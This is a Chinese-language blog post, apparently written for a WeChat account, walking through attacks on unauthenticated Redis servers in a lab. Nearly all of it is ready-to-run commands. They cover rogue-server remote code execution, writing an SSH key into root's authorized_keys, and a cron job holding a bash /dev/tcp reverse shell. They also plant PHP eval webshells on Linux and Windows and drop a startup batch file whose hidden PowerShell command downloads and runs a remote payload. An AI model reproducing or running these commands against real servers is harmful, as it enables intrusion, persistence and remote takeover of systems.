oxo1 前言
闲来没事来学一下 Redis 未授权吧、顺路写一篇公众号文章。不是原创、只是东搜西搜拼成一篇文章而已。作为脚本小子就不写什么原理了、因为也不懂。想知道原理的可以谷歌搜索学习吧。
oxo2 环境
Kali linux + Redis 4.x
Centos 7 + Redis 5.x
Win7 + Redis
oxo3 配置
修改 redis.conf (redis.windows.conf)配置文件
bind 127.0.0.1protected-mode yes
改成下方内容就可以未授权访问了
# bind 127.0.0.1protected-mode no
oxo4 RCE
本地测试的版本:4.x + 5.x
利用工具:https://github.com/n0b0dyCN/redis-rogue-server
下载、安装、利用、一波操作。
git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-server/RedisModulesSDK/expmakecd ../../python3 redis-rogue-server.py --rhost 192.168.237.130 --lhost 192.168.237.129
输入 i
得到一个交互式 Shell、可以直接输入命令
输入 r
可以反弹 Shell
得到 Shell
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70445399
oxo5 SSH
Kali 本地生成 ssh key
ssh-keygen -t rsa
进入 .ssh 目录把公钥写入到 ssh.txt 文件中
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > ssh.txt
把 ssh.txt 复制到 redis 启动的目录、然后写入
cat ssh.txt | ./redis-cli -h 192.168.237.130 -x set ssh_key./redis-cli -h 192.168.237.130config set dir /root/.ssh/config set dbfilename authorized_keyssave
然后就可以连接了、第一次连接的时候需要输入 yes
ssh -i id_rsa root@192.168.237.130
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70381805/
oxo6 定时任务反弹Shell
连接、写入反弹Shell命令、得到Shell
./redis-cli -h 192.168.237.130config set dir /var/spool/cron/config set dbfilename rootset x "\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.237.1/888 0>&1\n\n\n"save
得到 Shell
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70380577/
oxo7 Linux写入Webshell
连接、写入Webshell、菜刀连之
./redis-cli -h 192.168.237.130config set dir /var/www/html/config set dbfilename shell.phpset x "<?php @eval($_POST[1]);?>"save
菜刀连之
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70377553/
oxo8 自启动写入后门
CS生成后门、连接Redis、写入自启动、重启Win7、成功上线
./redis-cli -h 192.168.237.128config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"config set dbfilename 1.batset x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.237.129:80/a'))\"\r\n\r\n"save
手动重启靶机、成功上线
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70375932/
oxo9 Windows写入Webshell
连接、写入Webshell、菜刀连之
./redis-cli -h 192.168.237.128config set dir c:/phpstudy/wwwconfig set dbfilename shell.phpset shell "<?php @eval($_POST[1]);?>"save
菜刀连之
录了一个渣渣视频到B站:https://www.bilibili.com/video/av70373023/
ox10 文末
利用方法简单、没什么麻烦的操作。每个操作步骤我还录了几个渣渣视频、脚本小子能做的只有这么多了。
ox11 参考
https://github.com/n0b0dyCN/redis-rogue-server
https://zhuanlan.zhihu.com/p/79808540
https://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
https://zhuanlan.zhihu.com/p/25015624
https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html